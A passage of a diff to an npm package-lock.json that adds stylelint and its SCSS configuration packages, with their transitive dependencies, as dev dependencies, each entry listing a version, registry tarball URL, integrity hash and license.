"sha512-ztqyC3kLto0e9WbNp0aeP+M3kTt+nbaIveGmUxAtZa+8iFgKLUOD4YKM5j+f3QD89bra7UeumolZHKuOXnTmeQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/html-url-attributes": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/html-url-attributes/-/html-url-attributes-3.0.1.tgz", @@ -4718,6 +5161,13 @@ "node": ">=0.8.19" } }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true, + "license": "ISC" + }, "node_modules/inline-style-parser": { "version": "0.2.6", "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.2.6.tgz", @@ -4784,6 +5234,13 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "dev": true, + "license": "MIT" + }, "node_modules/is-async-function": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz", @@ -4928,6 +5385,16 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/is-generator-function": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz", @@ -5030,6 +5497,16 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/is-plain-object": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", + "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/is-regex": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", @@ -5236,6 +5713,13 @@ "dev": true, "license": "MIT" }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "dev": true, + "license": "MIT" + }, "node_modules/json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", @@ -5288,6 +5772,23 @@ "json-buffer": "3.0.1" } }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/known-css-properties": { + "version": "0.37.0", + "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.37.0.tgz", + "integrity": "sha512-JCDrsP4Z1Sb9JwG0aJ8Eo2r7k4Ou5MwmThS/6lcIe1ICyb7UBJKGRIUUdqc2ASdE/42lgz6zFUnzAIhtXnBVrQ==", + "dev": true, + "license": "MIT" + }, "node_modules/language-subtag-registry": { "version": "0.3.23", "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz", @@ -5320,6 +5821,13 @@ "node": ">= 0.8.0" } }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true, + "license": "MIT" + }, "node_modules/locate-path": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", @@ -5343,6 +5851,13 @@ "dev": true, "license": "MIT" }, + "node_modules/lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==", + "dev": true, + "license": "MIT" + }, "node_modules/longest-streak": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz", @@ -5382,6 +5897,17 @@ "node": ">= 0.4" } }, + "node_modules/mathml-tag-names": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/mathml-tag-names/-/mathml-tag-names-2.1.3.tgz", + "integrity": "sha512-APMBEanjybaPzUrfqU0IMU5I0AswKMH7k8OTLs0vvV4KZpExkTkY87nR/zpbuTPj+gARop7aGUbl11pnDfW6xg==", + "dev": true, + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/mdast-util-from-markdown": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.2.tgz", @@ -5527,6 +6053,26 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/mdn-data": { + "version": "2.12.2", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.12.2.tgz", + "integrity": "sha512-IEn+pegP1aManZuckezWCO+XZQDplx1366JoVhTpMpBB1sPey/SbveZQUosKiKiGYjg1wH4pMlNgXbCiYgihQA==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/meow": { + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-13.2.0.tgz", + "integrity": "sha512-pxQJQzB6djGPXh08dacEloMFopsOqGVRKFPYvPOt9XDZ1HasbgDZA74CJGreSU4G3Ak7EFJGoiH2auq+yXISgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/merge2": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", @@ -6043,6 +6589,16 @@ "dev": true, "license": "MIT" }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", @@ -6247,6 +6803,25 @@ "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz", "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==" }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", @@ -6273,6 +6848,16 @@ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", "dev": true }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", @@ -6331,6 +6916,95 @@ "node": "^10 || ^12 || >=14" } }, + "node_modules/postcss-media-query-parser": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/postcss-media-query-parser/-/postcss-media-query-parser-0.2.3.tgz", + "integrity": "sha512-3sOlxmbKcSHMjlUXQZKQ06jOswE7oVkXPxmZdoB1r5l0q6gTFTQSHxNxOrCccElbW7dxNytifNEo8qidX2Vsig==", + "dev": true, + "license": "MIT" + }, + "node_modules/postcss-resolve-nested-selector": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/postcss-resolve-nested-selector/-/postcss-resolve-nested-selector-0.1.6.tgz", + "integrity": "sha512-0sglIs9Wmkzbr8lQwEyIzlDOOC9bGmfVKcJTaxv3vMmd3uo4o4DerC3En0bnmgceeql9BfC8hRkp7cg0fjdVqw==", + "dev": true, + "license": "MIT" + }, + "node_modules/postcss-safe-parser": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/postcss-safe-parser/-/postcss-safe-parser-7.0.1.tgz", + "integrity": "sha512-0AioNCJZ2DPYz5ABT6bddIqlhgwhpHZ/l65YAYo0BCIn0xiDpsnTHz0gnoTGk0OXZW0JRs+cDwL8u/teRdz+8A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss-safe-parser" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "engines": { + "node": ">=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-scss": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/postcss-scss/-/postcss-scss-4.0.9.tgz", + "integrity": "sha512-AjKOeiwAitL/MXxQW2DliT28EKukvvbEWx3LBmJIRN8KfBGZbRTxNYW0kSqi1COiTZ57nZ9NW06S6ux//N1c9A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss-scss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "engines": { + "node": ">=12.0" + }, + "peerDependencies": { + "postcss": "^8.4.29" + } + }, + "node_modules/postcss-selector-parser": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.0.tgz", + "integrity": "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true, + "license": "MIT" + }, "node_modules/prelude-ls": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", @@ -6397,6 +7071,19 @@ "node": ">=6" } }, + "node_modules/qified": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/qified/-/qified-0.5.2.tgz", + "integrity": "sha512-7gJ6mxcQb9vUBOtbKm5mDevbe2uRcOEVp1g4gb/Q+oLntB3HY8eBhOYRxFI2mlDFlY1e4DOSCptzxarXRvzxCA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hookified": "^1.13.0" + }, + "engines": { + "node": ">=20" + } + }, "node_modules/queue-microtask": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", @@ -6740,6 +7427,16 @@ "url": "https://opencollective.com/unified" } }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/reselect": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz", @@ -7063,6 +7760,47 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/slice-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", + "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, "node_modules/socket.io-client": { "version": "4.8.1", "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-4.8.1.tgz", @@ -7162,6 +7900,28 @@ "node": ">= 0.4" } }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, "node_modules/string.prototype.includes": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz", @@ -7282,6 +8042,19 @@ "url": "https://github.com/sponsors/wooorm" } }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", @@ -7311,6 +8084,268 @@ "inline-style-parser": "0.2.6" } }, + "node_modules/stylelint": { + "version": "16.25.0", + "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-16.25.0.tgz", + "integrity": "sha512-Li0avYWV4nfv1zPbdnxLYBGq4z8DVZxbRgx4Kn6V+Uftz1rMoF1qiEI3oL4kgWqyYgCgs7gT5maHNZ82Gk03vQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/stylelint" + }, + { + "type": "github", + "url": "https://github.com/sponsors/stylelint" + } + ], + "license": "MIT", + "dependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/media-query-list-parser": "^4.0.3", + "@csstools/selector-specificity": "^5.0.0", + "@dual-bundle/import-meta-resolve": "^4.2.1", + "balanced-match": "^2.0.0", + "colord": "^2.9.3", + "cosmiconfig": "^9.0.0", + "css-functions-list": "^3.2.3", + "css-tree": "^3.1.0", + "debug": "^4.4.3", + "fast-glob": "^3.3.3", + "fastest-levenshtein": "^1.0.16", + "file-entry-cache": "^10.1.4", + "global-modules": "^2.0.0", + "globby": "^11.1.0", + "globjoin": "^0.1.4", + "html-tags": "^3.3.1", + "ignore": "^7.0.5", + "imurmurhash": "^0.1.4", + "is-plain-object": "^5.0.0", + "known-css-properties": "^0.37.0", + "mathml-tag-names": "^2.1.3", + "meow": "^13.2.0", + "micromatch": "^4.0.8", + "normalize-path": "^3.0.0", + "picocolors": "^1.1.1", + "postcss": "^8.5.6", + "postcss-resolve-nested-selector": "^0.1.6", + "postcss-safe-parser": "^7.0.1", + "postcss-selector-parser": "^7.1.0", + "postcss-value-parser": "^4.2.0", + "resolve-from": "^5.0.0", + "string-width": "^4.2.3", + "supports-hyperlinks": "^3.2.0", + "svg-tags": "^1.0.0", + "table": "^6.9.0", + "write-file-atomic": "^5.0.1" + }, + "bin": { + "stylelint": "bin/stylelint.mjs" + }, + "engines": { + "node": ">=18.12.0" + } + }, + "node_modules/stylelint-config-prettier-scss": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/stylelint-config-prettier-scss/-/stylelint-config-prettier-scss-1.0.0.tgz", + "integrity": "sha512-Gr2qLiyvJGKeDk0E/+awNTrZB/UtNVPLqCDOr07na/sLekZwm26Br6yYIeBYz3ulsEcQgs5j+2IIMXCC+wsaQA==", + "dev": true, + "license": "MIT", + "bin": { + "stylelint-config-prettier-scss": "bin/check.js", + "stylelint-config-prettier-scss-check": "bin/check.js" + }, + "engines": { + "node": "14.* || 16.* || >= 18" + }, + "peerDependencies": { + "stylelint": ">=15.0.0" + } + }, + "node_modules/stylelint-config-recommended": { + "version": "17.0.0", + "resolved": "https://registry.npmjs.org/stylelint-config-recommended/-/stylelint-config-recommended-17.0.0.tgz", + "integrity": "sha512-WaMSdEiPfZTSFVoYmJbxorJfA610O0tlYuU2aEwY33UQhSPgFbClrVJYWvy3jGJx+XW37O+LyNLiZOEXhKhJmA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/stylelint" + }, + { + "type": "github", + "url": "https://github.com/sponsors/stylelint" + } + ], + "license": "MIT", + "engines": { + "node": ">=18.12.0" + }, + "peerDependencies": { + "stylelint": "^16.23.0" + } + }, + "node_modules/stylelint-config-recommended-scss": { + "version": "16.0.2", + "resolved": "https://registry.npmjs.org/stylelint-config-recommended-scss/-/stylelint-config-recommended-scss-16.0.2.tgz", + "integrity": "sha512-aUTHhPPWCvFyWaxtckJlCPaXTDFsp4pKO8evXNCsW9OwsaUWyMd6jvcUhSmfGWPrTddvzNqK4rS/UuSLcbVGdQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-scss": "^4.0.9", + "stylelint-config-recommended": "^17.0.0", + "stylelint-scss": "^6.12.1" + }, + "engines": { + "node": ">=20" + }, + "peerDependencies": { + "postcss": "^8.3.3", + "stylelint": "^16.24.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + } + } + }, + "node_modules/stylelint-config-standard": { + "version": "39.0.1", + "resolved": "https://registry.npmjs.org/stylelint-config-standard/-/stylelint-config-standard-39.0.1.tgz", + "integrity": "sha512-b7Fja59EYHRNOTa3aXiuWnhUWXFU2Nfg6h61bLfAb5GS5fX3LMUD0U5t4S8N/4tpHQg3Acs2UVPR9jy2l1g/3A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/stylelint" + }, + { + "type": "github", + "url": "https://github.com/sponsors/stylelint" + } + ], + "license": "MIT", + "dependencies": { + "stylelint-config-recommended": "^17.0.0" + }, + "engines": { + "node": ">=18.12.0" + }, + "peerDependencies": { + "stylelint": "^16.23.0" + } + }, + "node_modules/stylelint-config-standard-scss": { + "version": "16.0.0", + "resolved": "https://registry.npmjs.org/stylelint-config-standard-scss/-/stylelint-config-standard-scss-16.0.0.tgz", + "integrity": "sha512-/FHECLUu+med/e6OaPFpprG86ShC4SYT7Tzb2PTVdDjJsehhFBOioSlWqYFqJxmGPIwO3AMBxNo+kY3dxrbczA==", + "dev": true, + "license": "MIT", + "dependencies": { + "stylelint-config-recommended-scss": "^16.0.1", + "stylelint-config-standard": "^39.0.0" + }, + "engines": { + "node": ">=20" + }, + "peerDependencies": { + "postcss": "^8.3.3", + "stylelint": "^16.23.1" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + } + } + }, + "node_modules/stylelint-scss": { + "version": "6.12.1", + "resolved": "https://registry.npmjs.org/stylelint-scss/-/stylelint-scss-6.12.1.tgz", + "integrity": "sha512-UJUfBFIvXfly8WKIgmqfmkGKPilKB4L5j38JfsDd+OCg2GBdU0vGUV08Uw82tsRZzd4TbsUURVVNGeOhJVF7pA==", + "dev": true, + "license": "MIT", + "dependencies": { + "css-tree": "^3.0.1", + "is-plain-object": "^5.0.0", + "known-css-properties": "^0.36.0", + "mdn-data": "^2.21.0", + "postcss-media-query-parser": "^0.2.3", + "postcss-resolve-nested-selector": "^0.1.6", + "postcss-selector-parser": "^7.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18.12.0" + }, + "peerDependencies": { + "stylelint": "^16.0.2" + } + }, + "node_modules/stylelint-scss/node_modules/known-css-properties": { + "version": "0.36.0", + "resolved": "https://registry.npmjs.org/known-css-properties/-/known-css-properties-0.36.0.tgz", + "integrity": "sha512-A+9jP+IUmuQsNdsLdcg6Yt7voiMF/D4K83ew0OpJtpu+l34ef7LaohWV0Rc6KNvzw6ZDizkqfyB5JznZnzuKQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/stylelint-scss/node_modules/mdn-data": { + "version": "2.25.0", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.25.0.tgz", + "integrity": "sha512-T2LPsjgUE/tgMmRXREVmwsux89DwWfNjiynOeXuLd2mX6jphGQ2YE3Ukz7LQ2VOFKiVZU/Ee1GqzHiipZCjymw==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/stylelint/node_modules/balanced-match": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-2.0.0.tgz", + "integrity": "sha512-1ugUSr8BHXRnK23KfuYS+gVMC3LB8QGH9W1iGtDPsNWoQbgtXSExkBu2aDR4epiGWZOjZsj6lDl/N/AqqTC3UA==", + "dev": true, + "license": "MIT" + }, + "node_modules/stylelint/node_modules/file-entry-cache": { + "version": "10.1.4", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-10.1.4.tgz", + "integrity": "sha512-5XRUFc0WTtUbjfGzEwXc42tiGxQHBmtbUG1h9L2apu4SulCGN3Hqm//9D6FAolf8MYNL7f/YlJl9vy08pj5JuA==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^6.1.13" + } + }, + "node_modules/stylelint/node_modules/flat-cache": { + "version": "6.1.18", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-6.1.18.tgz", + "integrity": "sha512-JUPnFgHMuAVmLmoH9/zoZ6RHOt5n9NlUw/sDXsTbROJ2SFoS2DS4s+swAV6UTeTbGH/CAsZIE6M8TaG/3jVxgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "cacheable": "^2.1.0", + "flatted": "^3.3.3", + "hookified": "^1.12.0" + } + }, + "node_modules/stylelint/node_modules/ignore": { + "version": "7.0.5", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", + "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/stylelint/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", @@ -7324,6 +8359,23 @@ "node": ">=8" } }, + "node_modules/supports-hyperlinks": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-3.2.0.tgz", + "integrity": "sha512-zFObLMyZeEwzAoKCyu1B91U79K2t7ApXuQfo8OuxwXLDgcKxuwM+YvcbIhm6QWqz7mHUH1TVytR1PwVVjEuMig==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">=14.18" + }, + "funding": { + "url": "https://github.com/chalk/supports-hyperlinks?sponsor=1" + } + }, "node_modules/supports-preserve-symlinks-flag": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", @@ -7336,6 +8388,53 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/svg-tags": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/svg-tags/-/svg-tags-1.0.0.tgz", + "integrity": "sha512-ovssysQTa+luh7A5Weu3Rta6FJlFBBbInjOh722LIt6klpU2/HtdUbszju/G4devcvk8PGt7FCLv5wftu3THUA==", + "dev": true + }, + "node_modules/table": { + "version": "6.9.0", + "resolved": "https://registry.npmjs.org/table/-/table-6.9.0.tgz", + "integrity": "sha512-9kY+CygyYM6j02t5YFHbNz2FN5QmYGv9zAjVp4lCDjlCw7amdckXlEt/bjMhUIfj4ThGRE4gCUH5+yGnNuPo5A==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "ajv": "^8.0.1", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/table/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/table/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "license": "MIT" + }, "node_modules/tiny-invariant": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", @@ -7600,15 